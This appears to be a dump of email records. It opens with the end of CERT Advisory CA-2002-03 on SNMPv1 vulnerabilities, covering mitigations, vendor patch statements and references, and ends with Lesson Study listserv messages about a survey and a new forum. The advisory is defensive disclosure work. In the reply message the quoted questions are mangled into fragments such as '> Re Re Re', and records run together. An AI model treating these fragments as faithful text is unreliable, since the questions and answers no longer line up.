change these community strings to something of their own choosing. However, even when community strings are changed from their defaults, they will still be passed in plaintext and are therefore subject to packet sniffing attacks. SNMPv3 offers additional capabilities to ensure authentication and privacy as described in RFC2574. Because many of the vulnerabilities identified in this advisory occur before the community strings are evaluated, it is important to note that performing this step alone is not sufficient to mitigate the impact of these vulnerabilities. Nonetheless, it should be performed as part of good security practice. Segregate SNMP traffic onto a separate management network In situations where blocking or disabling SNMP is not possible, exposure to these vulnerabilities may be limited by restricting all SNMP access to separate, isolated management networks that are not publicly accessible. Although this would ideally involve physically separate networks, that kind of separation is probably not feasible in most environments. Mechanisms such as virtual LANs (VLANs) may be used to help segregate traffic on the same physical network. Note that VLANs may not strictly prevent an attacker from exploiting these vulnerabilities, but they may make it more difficult to initiate the attacks. Another option is for sites to restrict SNMP traffic to separate virtual private networks (VPNs), which employ cryptographically strong authentication. Note that these solutions may require extensive changes to a site's network architecture. Egress filtering Egress filtering manages the flow of traffic as it leaves a network under your administrative control. There is typically limited need for machines providing public services to initiate outbound traffic to the Internet. In the case of SNMP vulnerabilities, employing egress filtering on the ports listed above at your network border can prevent your network from being used as a source for attacks on other sites. Disable stack execution Disabling executable stacks (on systems where this is configurable) can reduce the risk of ""stack smashing"" attacks based on these vulnerabilities. Although this does not provide 100 percent protection against exploitation of these vulnerabilities, it makes the likelihood of a successful exploit much smaller. On many UNIX systems, executable stacks can be disabled by adding the following lines to /etc/system: set noexec_user_stack = 1 set noexec_user_stack_log = 1 Note that this may go against the SPARC and Intel ABIs and can be bypassed as required in programs with mprotect(2). For the changes to take effect you will then need to reboot. Other operating systems and architectures also support the disabling of executable stacks either through native configuration parameters or via third-party software. Consult your vendor(s) for additional information. Share tools and techniques Because dealing with these vulnerabilities to systems and networks is so complex, the CERT/CC will provide a forum where administrators can share ideas and techniques that can be used to develop proper defenses. We have created an unmoderated mailing list for system and network administrators to discuss helpful techniques and tools. You can subscribe to the mailing list by sending an email message to majordomo@cert.org. In the body of the message, type subscribe snmp-forum After you receive the confirmation message, follow the instructions in the message to complete the subscription process. Appendix A. - Vendor Information This appendix contains information provided by vendors for this advisory. As vendors report new information to the CERT/CC, we will update this section and note the changes in our revision history. If a particular vendor is not listed below, we have not received their comments. AdventNet This is in reference to your notification regarding [VU#107186 and VU#854306] and OUSPG#0100. AdventNet Inc. has reproduced this behavior in their products and coded a Service Pack fix which is currently in regression testing in AdventNet Inc.'s Q.A. organization. The release of AdventNet Inc's. Service Pack correcting the behavior outlined in VU#617947, and OUSPG#0100 is scheduled to be generally available to all of AdventNet Inc.'s customers by February 20, 2002. Avaya Avaya Inc. acknowledges the potential of SNMP vulnerabilities and is currently investigating whether these vulnerabilities impact Avaya's products or solutions. No further information is available at this time. CacheFlow The purpose of this email is to advise you that CacheFlow Inc. has provided a software update. Please be advised that updated versions of the software are now available for all supported CacheFlow hardware platforms, and may be obtained by CacheFlow customers at the following URL: http://download.cacheflow.com/ The specific reference to the software update is contained within the Release Notes for CacheOS Versions 3.1.22 Release ID 17146, 4.0.15 Release ID 17148, 4.1.02 Release ID 17144 and 4.0.15 Release ID 17149. RELEASE NOTES FOR CACHEFLOW SERVER ACCELERATOR PRODUCTS: * http://download.cacheflow.com/release/SA/4.0.15/relnotes.htm RELEASE NOTES FOR CACHEFLOW CONTENT ACCELERATOR PRODUCTS: * http://download.cacheflow.com/release/CA/3.1.22/relnotes.htm * http://download.cacheflow.com/release/CA/4.0.15/relnotes.htm * http://download.cacheflow.com/release/CA/4.1.02/relnotes.htm * SR 1-1647517, VI 13045: This update modified a potential vulnerability by using an SNMP test tools exploit. 3Com Corporation A vulnerability to an SNMP packet with an invalid length community string has been resolved in the following products. Customers concerned about this weakness should ensure that they upgrade to the following agent versions: PS Hub 40 2.16 is due Feb 2002 PS Hub 50 2.16 is due Feb 2002 Dual Speed Hub 2.16 is due Jan 2002 Switch 1100/3300 2.68 is available now Switch 4400 2.02 is available now Switch 4900 2.04 is available now WebCache1000/3000 2.00 is due Jan 2002 Caldera Caldera International, Inc. has reproduced faulty behavior in Caldera SCO OpenServer 5, Caldera UnixWare 7, and Caldera Open UNIX 8. We have coded a software fix for supported versions of Caldera UnixWare 7 and Caldera Open UNIX 8 that will be available from our support site at http://stage.caldera.com/support/security immediately following the publication of this CERT announcement. A fix for supported versions of OpenServer 5 will be available at a later date. Cisco Systems Cisco Systems is addressing the vulnerabilities identified by VU#854306 and VU#107186 across its entire product line. Cisco will publish a security advisory with further details at http://www.cisco.com/go/psirt/. Compaq Computer Corporation x-ref: SSRT0779U SNMP At the time of writing this document, COMPAQ continues to evaluate this potential problem and when new versions of SNMP are available, COMPAQ will implement solutions based on the new code. Compaq will provide notice of any new patches as a result of that effort through standard patch notification procedures and be available from your normal Compaq Services support channel. Computer Associates Computer Associates has confirmed Unicenter vulnerability to the SNMP advisory identified by CERT notification reference [VU#107186 & VU#854306] and OUSPG#0100. We have produced corrective maintenance to address these vulnerabilities, which is in the process of publication for all applicable releases / platforms and will be offered through the CA Support site. Please contact our Technical Support organization for information regarding availability / applicability for your specific configuration(s). COMTEK Services, Inc. NMServer for AS/400 is not an SNMP master and is therefore not vulnerable. However this product requires the use of the AS/400 SNMP master agent supplied by IBM. Please refer to IBM for statements of vulnerabilities for the AS/400 SNMP master agent. NMServer for OpenVMS has been tested and has shown to be vulnerable. COMTEK Services is preparing a new release of this product (version 3.5) which will contain a fix for this problem. This new release is scheduled to be available in February 2002. Contact COMTEK Services for further information. NMServer for VOS has not as yet been tested; vulnerability of this agent is unknown. Contact for further information on the testing schedule of the VOS product. Covalent Technologies Covalent Technologies ERS (Enterprise Ready Server), Secure Server, and Conductor SNMP module are not vulnerable according to testing performed in accordance with CERT recommendations. Security information for Covalent products can be found at www.covalent.net Dartware, LLC Dartware, LLC (www.dartware.com) supplies two products that use SNMPv1 in a manager role, InterMapper and SNMP Watcher. These products are not vulnerable to the SNMP vulnerability described in [VU#854306 and VU#107186]. This statement applies to all present and past versions of these two software packages. DMH Software DMH Software is in the process of evaluating and attempting to reproduce this behavior. It is unclear at this point if our snmp-agent is sensitive to the tests described above. If any problems will be discovered, DMH Software will code a software fix. The release of DMH Software OS correcting the behavior outlined in VU#854306, VU#107186, and OUSPG#0100 will be generally available to all of DMH Software's customers as soon as possible. EnGarde Secure Linux EnGarde Secure Linux did not ship any SNMP packages in version 1.0.1 of our distribution, so we are not vulnerable to either bug. FreeBSD FreeBSD does not include any SNMP software by default, and so is not vulnerable. However, the FreeBSD Ports Collection contains the UCD-SNMP / NET-SNMP package. Package versions prior to ucd-snmp-4.2.3 are vulnerable. The upcoming FreeBSD 4.5 release will ship the corrected version of the UCD-SNMP / NET-SNMP package. In addition, the corrected version of the packages is available from the FreeBSD mirrors. FreeBSD has issued the following FreeBSD Security Advisory regarding the UCD-SNMP / NET-SNMP package: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/advisories/FreeBSD-SA-02:09. snmp.asc. Hewlett-Packard Company SUMMARY - known vulnerable: ======================================== hp procurve switch 2524 NNM (Network Node Manager) JetDirect Firmware (Older versions only) HP-UX Systems running snmpd or OPENVIEW MC/ServiceGuard EMS Still under investigation: SNMP/iX (MPE/iX) ======================================== _________________________________________________________ --------------------------------------------------------- hp procurve switch 2524 --------------------------------------------------------- hp procurve switch 2525 (product J4813A) is vulnerable to some issues, patches in process. Watch for the associated HP Security Bulletin. --------------------------------------------------------- NNM (Network Node Manager) --------------------------------------------------------- Some problems were found in NNM product were related to trap handling. Patches in process. Watch for the associated HP Security Bulletin. --------------------------------------------------------- JetDirect Firmware (Older versions only) --------------------------------------------------------- ONLY some older versions of JetDirect Firmware are vulnerable to some of the issues. The older firmware can be upgraded in most cases, see list below. JetDirect Firmware Version State ========================== ===== X.08.32 and higher NOT Vulnerable X.21.00 and higher NOT Vulnerable JetDirect Product Numbers that can be freely upgraded to X.08.32 or X.21.00 or higher firmware. EIO (Peripherals Laserjet 4000, 5000, 8000, etc...) J3110A 10T J3111A 10T/10B2/LocalTalk J3112A Token Ring (discontinued) J3113A 10/100 (discontinued) J4169A 10/100 J4167A Token Ring MIO (Peripherals LaserJet 4, 4si, 5si, etc...) J2550A/B 10T (discontinued) J2552A/B 10T/10Base2/LocalTalk (discontinued) J2555A/B Token Ring (discontinued) J4100A 10/100 J4105A Token Ring J4106A 10T External Print Servers J2591A EX+ (discontinued) J2593A EX+3 10T/10B2 (discontinued) J2594A EX+3 Token Ring (discontinued) J3263A 300X 10/100 J3264A 500X Token Ring J3265A 500X 10/100 ---------------------------------------------------------- HP-UX Systems running snmpd or OPENVIEW ---------------------------------------------------------- The following patches are available now: PHSS_26137 s700_800 10.20 OV EMANATE14.2 Agent Consolidated Patch PHSS_26138 s700_800 11.X OV EMANATE14.2 Agent Consolidated Patch PSOV_03087 EMANATE Release 14.2 Solaris 2.X Agent Consolidated Patch All three patches are available from: http://support.openview.hp.com/cpe/patches/ In addition PHSS_26137 and PHSS_26138 will soon be available from: http://itrc.hp.com ================================================================ NOTE: The patches are labeled OV(Open View). However, the patches are also applicable to systems that are not running Open View. ================================================================= Any HP-UX 10.X or 11.X system running snmpd or snmpdm is vulnerable. To determine if your HP-UX system has snmpd or snmpdm installed: swlist -l file | grep snmpd If a patch is not available for your platform or you cannot install an available patch, snmpd and snmpdm can be disabled by removing their entries from /etc/services and removing the execute permissions from /usr/sbin/snmpd and /usr/sbin/snmpdm. ---------------------------------------------------------------- Investigation completed, systems vulnerable. ---------------------------------------------------------------- MC/ServiceGuard Event Monitoring System (EMS) ---------------------------------------------------------------- Still under investigation: ---------------------------------------------------------------- SNMP/iX (MPE/iX) Hirschmann Electronics GmbH & Co. KG Hirschmann Electronics GmbH & Co. KG supplies a broad range of networking products, some of which are affected by the SNMP vulnerabilities identified by CERT Coordination Center. The manner in which they are affected and the actions required to avoid being impacted by exploitation of these vulnerabilities, vary from product to product. Hirschmann customers may contact our Competence Center (phone +49-7127-14-1538, email: ans-support@nt.hirschmann.de) for additional information, especially regarding availability of latest firmware releases addressing the SNMP vulnerabilities. IBM Corporation Based upon the results of running the test suites we have determined that our version of SNMP shipped with AIX is NOT vulnerable. Innerdive Solutions, LLC Innerdive Solutions, LLC has two SNMP based products: 1. The ""SNMP MIB Scout"" (http://www.innerdive.com/products/mibscout/) 2. The ""Router IP Console"" (http://www.innerdive.com/products/ric/) The ""SNMP MIB Scout"" is not vulnerable to either bug. The ""Router IP Console"" releases prior to 3.3.0.407 are vulnerable. The release of ""Router IP Console"" correcting the behavior outlined in OUSPG#0100 is 3.3.0.407 and is already available on our site. Also, we will notify all our customers about this new release no later than March 5, 2002. Juniper Networks This is in reference to your notification regarding CAN-2002-0012 and CAN-2002-0013. Juniper Networks has reproduced this behavior and coded a software fix. The fix will be included in all releases of JUNOS Internet software built after January 5, 2002. Customers with current support contracts can download new software with the fix from Juniper's web site at www.juniper.net. Note: The behavior described in CAN-2002-0012 and CAN-2002-0013 can only be reproduced in JUNOS Internet software if certain tracing options are enabled. These options are generally not enabled in production routers. Lantronix, Inc. Lantronix is committed to resolving security issues with our products. The SNMP security bug you reported has been fixed in LRS firmware version B1.3/611(020123). Lotus Development Corporation Lotus Software evaluated the Lotus Domino Server for vulnerabilities using the test suite materials provided by OUSPG. This problem does not affect default installations of the Domino Server. However, SNMP agents can be installed from the CD to provide SNMP services for the Domino Server (these are located in the /apps/sysmgmt/agents directory). The optional platform specific master and encapsulator agents included with the Lotus Domino SNMP Agents for HP-UX and Solaris have been found to be vulnerable. For those platforms, customers should upgrade to version R5.0.1 a of the Lotus Domino SNMP Agents, available for download from the Lotus Knowledge Base on the IBM Support Web Site (http://www.ibm.com/software/lotus/support/). Please refer to Document #191059, ""Lotus Domino SNMP Agents R5.0.1a"", also in the Lotus Knowledge Base, for more details. LOGEC Systems Inc The products from LOGEC Systems are exposed to SNMP only via HP OpenView. We do not have an implementation of SNMP ourselves. As such, there is nothing in our products that would be an issue with this alert. Lucent Lucent is aware of reports that there is a vulnerability in certain implementations of the SNMP (Simple Network Management Protocol) code that is used in data switches and other hardware throughout the telecom industry. As soon as we were notified by CERT, we began assessing our product portfolio and notifying customers with products that might be affected. Our 5ESS switch and most of our optical portfolio were not affected. Our core and edge ATM switches and most of our edge access products are affected, but we have developed, tested, and deployed fixes for many of those products to our customers. Fixes for the rest of the affected product portfolio will be available shortly. We consider the security and reliability of our customers' networks to be one of our critical measures of success. We take every reasonable measure to ensure their satisfaction. In addition, we are working with customers on ways to further enhance the security they have in place today. Marconi Marconi supplies a broad range of telecommunications and related products, some of which are affected by the SNMP vulnerabilities identified here. The manner in which they are affected and the actions required (if any) to avoid being impacted by exploitation of these vulnerabilities, vary from product to product. Those Marconi customers with support entitlement may contact the appropriate Technical Assistance Center (TAC) for additional information. Those not under support entitlement may contact their sales representative. Microsoft Corporation The Microsoft Security Reponse [sic] Center has investigated this issue, and provides the following information. Summary: All Microsoft implementations of SNMP v1 are affected by the vulnerability. The SNMP v1 service is not installed or running by default on any version of Windows. A patch is underway to eliminate the vulnerability. In the meantime, we recommend that affected customers disable the SNMP v1 service. Details: An SNMP v1 service ships on the CDs for Windows 95, 98, and 98SE. It is not installed or running by default on any of these platforms. An SNMP v1 is NOT provided for Windows ME. However, it is possible that Windows 98 machines which had the service installed and were upgraded would still have the service. Since SNMP is not supported for WinME, customers in this situation are urged to remove the SNMP service. An SNMP v1 service is available on Windows NT 4.0 (including Terminal Server Edition) and Windows 2000 but is not installed or running by default on any of these platforms.Windows XP does not ship with an SNMP v1 service. Remediation: A patch is underway for the affected platforms, and will be released shortly. In the meantime, Microsoft recommends that customers who have the SNMP v1 service running disable it to protect their systems. Following are instruction for doing this: Windows 95, 98 and 98SE: 1. In Control Panel, double-click Network. 2. On the Configuration tab, select Microsoft SNMP Agent from the list of installed components. 3. Click Remove Check the following keys and confirm that snmp.exe is not listed. HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\RunSer vices HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run For Windows XP: 1. Right-click on My Computer and select Manage 2. Click on Services and Applications, then on Services 3. Location SNMP on the list of services, then select it and click Stop. 4. Select Startup, and click Disabled. 5. Click OK to close the dialoge [sic], then close the Computer Management window. For Windows NT 4.0 (including Terminal Server Edition): 1. Select Start, then Settings. 2. Select Control Panel, then click on the Services Icon 3. Locate SNMP on the list of services, then select it and click Stop. 4. Select Startup, and click Disabled. 5. Click OK to close the dialoge [sic], then close Control Panel Windows 2000: 1. Right-click on My Computer and select Manage 2. Click on Services and Applications, then on Services 3. Location SNMP on the list of services, then select it and click Stop. 4. Select Startup, and click Disabled. 5. Click OK to close the dialoge [sic], then close the Computer Management window. Multinet MultiNet and TCPware customers should contact Process Software to check for the availability of patches for this issue. A couple of minor problems were found and fixed, but there is no security risk related to the SNMP code included with either product. Netaphor NETAPHOR SOFTWARE INC. is the creator of Cyberons for Java -- SNMP Manager Toolkit and Cyberons for Java -- NMS Application Toolkit, two Java based products that may be affected by the SNMP vulnerabilities identified here. The manner in which they are affected and the actions required (if any) to avoid being impacted by exploitation of these vulnerabilities, may be obtained by contacting Netaphor via email at info@netaphor.com Customers with annual support may contact support@netaphor.com directly. Those not under support entitlement may contact Netaphor sales: sales@netaphor.com or (949) 470 7955 in USA. NetBSD NetBSD does not ship with any SNMP tools in our 'base' releases. We do provide optional packages which provide various support for SNMP. These packages are not installed by default, nor are they currently provided as an install option by the operating system installation tools. A system administrator/end-user has to manually install this with our package management tools. These SNMP packages include: + netsaint-plugin-snmp-1.2.8.4 (SNMP monitoring plug-in for netsaint) + p5-Net-SNMP-3.60 (perl5 module for SNMP queries) + p5-SNMP-3.1.0 (Perl5 module for interfacing to the UCD SNMP library + p5-SNMP_Session-0.83 (perl5 module providing rudimentary access to remote SNMP agents) + ucd-snmp-4.2.1 (Extensible SNMP implementation) (conflicts with ucd-snmp-4.1.2) + ucd-snmp-4.1.2 (Extensible SNMP implementation) (conflicts with ucd-snmp-4.2.1) We do provide a software monitoring mechanism called 'audit-packages', which allows us to highlight if a package with a range of versions has a potential vulnerability, and recommends that the end-user upgrade the packages in question. Netscape Communications Corporation Netscape continues to be committed to maintaining a high level of quality in our software and service offerings. Part of this commitment includes prompt response to security issues discovered by organizations such as the CERT Coordination Center. According to a recent CERT/CC advisory, The Oulu University Secure Programming Group (OUSPG) has reported numerous vulnerabilities in multiple vendor SNMPv1 implementations. These vulnerabilities may allow unauthorized privileged access, denial of service attacks, or unstable behavior. We have carefully examined the reported findings, performing the tests suggested by the OUSPG to determine whether Netscape server products were subject to these vulnerabilities. It was determined that several products fell into this category. As a result, we have created fixes which will resolve the issues, and these fixes will appear in future releases of our product line. To Netscape's knowledge, there are no known instances of these vulnerabilities being exploited and no customers have been affected to date. When such security warnings are issued, Netscape has committed to - and will continue to commit to - resolving these issues in a prompt and timely fashion, ensuring that our customers receive products of the highest quality and security. NET-SNMP All ucd-snmp version prior to 4.2.2 are susceptible to this vulnerability and users of versions prior to version 4.2.2 are encouraged to upgrade their software as soon as possible (http://www.net-snmp.org/download/). Version 4.2.2 and higher are not susceptible. Network Associates PGP is not affected, impacted, or otherwise related to this VU#. Network Computing Technologies Network Computing Technologies has reviewed the information regarding SNMP vulnerabilities and is currently investigating the impact to our products. Nokia This vulnerability is known to affect IPSO versions 3.1.3, 3.3, 3.3.1, 3.4, and 3.4.1. Patches are currently available for versions 3.3, 3.3.1, 3.4 and 3.4.1 for download from the Nokia website. In addition, version 3.4.2 shipped with the patch incorporated, and the necessary fix will be included in all future releases of IPSO. We recommend customers install the patch immediately or follow the recommended precautions below to avoid any potential exploit. If you are not using SNMP services, including Traps, simply disable the SNMP daemon to completely eliminate the potential vulnerability. If you are using only SNMP Traps and running Check Point FireWall-1, create a firewall policy to disallow incoming SNMP messages on all appropriate interfaces. Traps will continue to work normally. Nortel Networks The CERT Coordination Center has issued a broad based alert to the technology industry, including Nortel Networks, regarding potential security vulnerabilities identified in the Simple Network Management Protocol (SNMP), a common networking standard. The company is working with CERT and other network equipment manufacturers, the U.S. Government, service providers, and software suppliers to assess and address this issue. Novell Novell ships SNMP.NLM and SNMPLOG.NLM with NetWare 4.x, NetWare 5.x and 6.0 systems. The SNMP and SNMPLOG vulnerabilities detected on NetWare are fixed and will be available through NetWare 6 Support Pack 1 & NetWare 5.1 Support Pack 4. Support packs are available at http://support.novell.com/tools/csp/ OpenBSD OpenBSD does not ship SNMP code. Qualcomm WorldMail does not support SNMP by default, so customers who run unmodified installations are not vulnerable. Redback Networks, Inc. Redback Networks, Inc. has identified that the vulnerability in question affects certain versions of AOS software on the SMS 500, SMS 1800, and SMS 10000 platforms, and is taking the appropriate steps necessary to correct the issue. Red Hat RedHat has released a security advisiory [sic] at http://www.redhat.com/support/errata/RHSA-2001-163.html with updated versions of the ucd-snmp package for all supported releases and architectures. For more information or to download the update please visit this page. SGI SGI acknowledges the SNMP vulnerabilities reported by CERT and is currently investigating. No further information is available at this time. For the protection of all our customers, SGI does not disclose, discuss or confirm vulnerabilities until a full investigation has occurred and any necessary patch(es) or release streams are available for all vulnerable and supported IRIX operating systems. Until SGI has more definitive information to provide, customers are encouraged to assume all security vulnerabilities as exploitable and take appropriate steps according to local site security policies and requirements. As further information becomes available, additional advisories will be issued via the normal SGI security information distribution methods including the wiretap mailing list on http://www.sgi.com/support/security/. SNMP Research International SNMP Research has made the following vendor statement. They are likely to revise and expand the statement as the date for the public vulnerability announcement draws nearer. The most recent releases (15.3.1.7 and above) of all SNMP Research products address the vulnerabilities identified in the following CERT vulnerability advisories: VU#854306 (Multiple vulnerabilities in SNMPv1 request handling) VU#107186 (Multiple vulnerabilities in SNMPv1 trap handling) All customers who maintain a support contract have received either this release or appropriate patch sets to their 15.3 source code releases addressing these vulnerabilities. Users maintaining earlier releases should update to the current release if they have not already done so. Up-to-date information is available from support@snmp.com. Stonesoft Stonesoft's StoneGate product does not include an SNMP agent, and is therefore not vulnerable to this. Other Stonesoft's products are still under investigation. As further information becomes available, additional advisories will be available at http://www.stonesoft.com/support/techcenter/ Sun Microsystems, Inc. Sun's SNMP product, Solstice Enterprise Agents (SEA), described here: http://www.sun.com/solstice/products/ent.agents/ is affected by VU#854306 but not VU#107186. More specifically the main agent of SEA, snmpdx(1M), is affected on Solaris 2.6, 7, 8. Sun is currently generating patches for this issue and will be releasing a Sun Security Bulletin once the patches are available. The bulletin will be available from: http://sunsolve.sun.com/security. Sun patches are available from: http://sunsolve.sun.com/securitypatch. Symantec Corporation Symantec Corporation has investigated the SNMP issues identified by the OUSPG test suite and determined that Symantec products are not susceptable [sic] to these issues. TANDBERG Tandberg have run all the testcases found the PROTOS test-suie [sic], c06snmpv1: 1. c06-snmpv1-trap-enc-pr1.jar 2. c06-snmpv1-treq-app-pr1.jar 3. c06-snmpv1-trap-enc-pr1.jar 4. c06-snmpv1-req-app-pr1.jar The tests were run with standard delay time between the requests (100ms), but also with a delay of 1ms. The tests applies to all TANDBERG products (T500, T880, T1000, T2500, T6000 and T8000). The software tested on these products were B4.0 (our latest software) and no problems were found when running the test suite. Tivoli Systems Our analysis indicates that this vulnerability does not affect the Tivoli NetView product. Appendix B. - References 1. http://www.ee.oulu.fi/research/ouspg/protos/ 2. http://www.kb.cert.org/vuls/id/854306 3. http://www.kb.cert.org/vuls/id/107186 4. http://www.cert.org/tech_tips/denial_of_service.html 5. http://www.ietf.org/rfc/rfc1067.txt 6. http://www.ietf.org/rfc/rfc1089.txt 7. http://www.ietf.org/rfc/rfc1140.txt 8. http://www.ietf.org/rfc/rfc1155.txt 9. http://www.ietf.org/rfc/rfc1156.txt 10. http://www.ietf.org/rfc/rfc1215.txt 11. http://www.ietf.org/rfc/rfc1270.txt 12. http://www.ietf.org/rfc/rfc1352.txt Appendix C. - Background Information Background Information on the OUSPG OUSPG is an academic research group located at Oulu University in Finland. The purpose of this research group is to test software for vulnerabilities. History has shown that the techniques used by the OUSPG have discovered a large number of previously undetected problems in the products and protocols they have tested. In 2001, the OUSPG produced a comprehensive test suite for evaluating implementations of the Lightweight Directory Access Protocol (LDAP). This test suite was developed with the strategy of abusing the protocol in unsupported and unexpected ways, and it was very effective in uncovering a wide variety of vulnerabilities across several products. This approach can reveal vulnerabilities that would not manifest themselves under normal conditions. After completing its work on LDAP, OUSPG moved its focus to SNMPv1. As with LDAP, they designed a custom test suite, began testing a selection of products, and found a number of vulnerabilities. Because OUSPG's work on LDAP was similar in procedure to its current work on SNMP, you may wish to review the LDAP Test Suite and CERT Advisory CA-2001-18, which outlined results of application of the test suite. In order to test the security of protocols like SNMPv1, the PROTOS project presents a server with a wide variety of sample packets containing unexpected values or illegally formatted data. As a member of the PROTOS project consortium, the OUSPG used the PROTOS c06-snmpv1 test suite to study several implementations of the SNMPv1 protocol. Results of the test suites run against SNMP indicate that there are many different vulnerabilities on many different implementations of SNMP. Background Information on the Simple Network Management Protocol The Simple Network Management Protocol (SNMP) is the most popular protocol in use to manage networked devices. SNMP was designed in the late 80's to facilitate the exchange of management information between networked devices, operating at the application layer of the ISO/OSI model. The SNMP protocol enables network and system administrators to remotely monitor and configure devices on the network (devices such as switches and routers). Software and firmware products designed for networks often make use of the SNMP protocol. SNMP runs on a multitude of devices and operating systems, including, but not limited to, + Core Network Devices (Routers, Switches, Hubs, Bridges, and Wireless Network Access Points) + Operating Systems + Consumer Broadband Network Devices (Cable Modems and DSL Modems) + Consumer Electronic Devices (Cameras and Image Scanners) + Networked Office Equipment (Printers, Copiers, and FAX Machines) + Network and Systems Management/Diagnostic Frameworks (Network Sniffers and Network Analyzers) + Uninterruptible Power Supplies (UPS) + Networked Medical Equipment (Imaging Units and Oscilloscopes) + Manufacturing and Processing Equipment The SNMP protocol is formally defined in RFC1157. Quoting from that RFC: Implicit in the SNMP architectural model is a collection of network management stations and network elements. Network management stations execute management applications which monitor and control network elements. Network elements are devices such as hosts, gateways, terminal servers, and the like, which have management agents responsible for performing the network management functions requested by the network management stations. The Simple Network Management Protocol (SNMP) is used to communicate management information between the network management stations and the agents in the network elements. Additionally, SNMP is discussed in a number of other RFC documents: + RFC 3000 Internet Official Protocol Standards + RFC 1212 Concise MIB Definitions + RFC 1213 Management Information Base for Network Management of TCP/IP-based Internets: MIB-II + RFC 1215 A Convention for Defining Traps for use with the SNMP + RFC 1270 SNMP Communications Services + RFC 2570 Introduction to Version 3 of the Internet-standard Network Management Framework + RFC 2571 An Architecture for Describing SNMP Management Frameworks + RFC 2572 Message Processing and Dispatching for the Simple Network Management Protocol (SNMP) + RFC 2573 SNMP Applications + RFC 2574 User-based Security Model (USM) for version 3 of the Simple Network Management Protocol (SNMPv3) + RFC 2575 View-based Access Control Model (VACM) for the Simple Network Management Protocol (SNMP) + RFC 2576 Coexistence between Version 1, Version 2, and Version 3 of the Internet-standard Network Management Framework _____________________________________________________________ The CERT Coordination Center thanks the Oulu University Secure Programming Group for reporting these vulnerabilities to us, for providing detailed technical analyses, and for assisting us in preparing this advisory. We also thank Steven M. Bellovin (AT&T Labs -- Research), Wes Hardaker (Net-SNMP), Steve Moulton (SNMP Research), Tom Reddington (Bell Labs), Mike Duckett (Bell South), Rob Thomas, Blue Boar (Thievco), and the many others who contributed to this document. _____________________________________________________________ Feedback on this document can be directed to the authors, Ian A. Finlay, Shawn V. Hernan, Jason A. Rafail, Chad Dougherty, Allen D. Householder, Marty Lindner, and Art Manion. __________________________________________________________________ This document is available from: http://www.cert.org/advisories/CA-2002-03.html __________________________________________________________________ CERT/CC Contact Information Email: cert@cert.org Phone: +1 412-268-7090 (24-hour hotline) Fax: +1 412-268-6989 Postal address: CERT Coordination Center Software Engineering Institute Carnegie Mellon University Pittsburgh PA 15213-3890 U.S.A. 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Please include in the body of your message subscribe cert-advisory * ""CERT"" and ""CERT Coordination Center"" are registered in the U.S. Patent and Trademark Office. __________________________________________________________________ NO WARRANTY Any material furnished by Carnegie Mellon University and the Software Engineering Institute is furnished on an ""as is"" basis. Carnegie Mellon University makes no warranties of any kind, either expressed or implied as to any matter including, but not limited to, warranty of fitness for a particular purpose or merchantability, exclusivity or results obtained from use of the material. Carnegie Mellon University does not make any warranty of any kind with respect to freedom from patent, trademark, or copyright infringement. _____________________________________________________________ Conditions for use, disclaimers, and sponsorship information Copyright 2002 Carnegie Mellon University. Revision History February 12, 2002: Initial release -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQCVAwUBPGltxKCVPMXQI2HJAQGVeAQAuHtxGBsmU5HI6PtqhpZ1rkpV+Cq3ChIU R1FUz4Zi2vzklH8jdXd10KqwZAPhXTPazeguhRyLVSUprMlSKqcXg3BCkH/y4WAl QUZ1VnQXMnMrxIJO1fv0WW0pcyM4W0iQBl0kCIlawPcjCGVniOCOr+4CE0f923wr uZiMJ5f2SEo= =h42e -----END PGP SIGNATURE----- ",0,1 Tiphareth Ananda ,Lesson Study Listserv ,"Tue, 12 Feb 2002 21:31:24 -0000",Survey about lesson study," Hi All, My name is Tiphareth Ananda, I work at Smith College in MA. I am trying to gather some information on how lesson study is being used in the U.S. right now. I have created a list of questions relating to the type of information I am trying to collect. The first set of questions are around use in the classroom. The second set of questions are about pre-service teachers. If anyone would be willing to answer a few questions for me I would be very thankful. I will be using information in part of a paper that I am writing up about the process of lesson study. If you do respond plese include your name, school, age level and state. Thank you in advance for your time and consideration. Tiphareth Ananda Questions: How long have you been working with lesson study? How many teachers in your school participate in lesson study? Are you receiving any guidance or training from a teacher who has experience with lesson study? What challenges have you encountered with making lesson study work in your classroom or school? What do you feel are the greatest benefits of practicing lesson study? Have you used lesson study with pre-service teachers? Did pre-service teachers find the process helpful in their development? Are any colleges currently using lesson study in courses? Again thank you to anyone who has time to answer any of these questions. T.A. reply to: t_ananda@hotmail.com _________________________________________________________________ Chat with friends online, try MSN Messenger: http://messenger.msn.com --- You are currently subscribed to lessonstudy as: smc90@columbia.edu To unsubscribe send a blank email to leave-lessonstudy-340215M@listserv.tc.columbia.edu ",0,1 Bill Jackson ,Lesson Study Listserv ,"Tue, 12 Feb 2002 21:14:41 -0500",Re: Survey about lesson study,"Hello: My name is Bill Jackson. I am math facilitator at School 2 in Paterson, NJ. We have been doing lesson study for 3 years in collaboration with the Greenwich Japanese School, Makoto Yoshida, Clea Fernandez and the Lesson Study Research Group, and the Mid-Atlantic Eisenhower Consortium. I will try to answer your questions. > Re Re Re with lesson study? Yes, we have had guidance from Japanese teachers from the Greenwich Japanese School in greenwich, CN, Makoto Yoshida, Clea Fernandez, Patsy Wang-Iverson, Catherine Lewis and others. > re classroom or school? This is a hard question. There are many challenges of which time will not permit here to ellaborate on. The main challenges though are--getting teacher buy in, changing attitudes/beliefs about teaching, coming to a common consensus about what a good lesson entails, logistical issues such as scheduling, etc. > Re re Re Re Re,"Fri, 15 Feb 2002 14:38:14 -0500",invitation to participate in the Lesson Study Discussion Forum,"Dear Lesson Study Community, We are pleased to announce a new collaboration between the Lesson Study Research Group and the School Renewal Web Center, which currently hosts a discussion forum on lesson study. This discussion forum provides individuals who are interested or engaged in lesson study with the opportunity to conduct online conversations. It can be used to post questions, raise issues, and share insights about lesson study-related topics. In the past few months, we have noticed a number of messages on this listserv where some of you have posed interesting questions about lesson study. We hope that this discussion forum can provide you with a platform for recording your discussions, and for allowing others to read about or participate in any ongoing conversations about lesson study. You can use this discussion forum to pose your question or exchange ideas, and you can even choose to be notified by e-mail when someone responds to your message. However, if you would like to announce a lesson-study related event, share a resource, or network with other members of the lesson study community, please continue to use the Lesson Study Listserv for this purpose. This listserv, which currently reaches 550+ individuals, can also be used to announce a new topic on the discussion forum and solicit more responses from a larger community of individuals who are interested in lesson study. Instructions for using the discussion forum are available at: 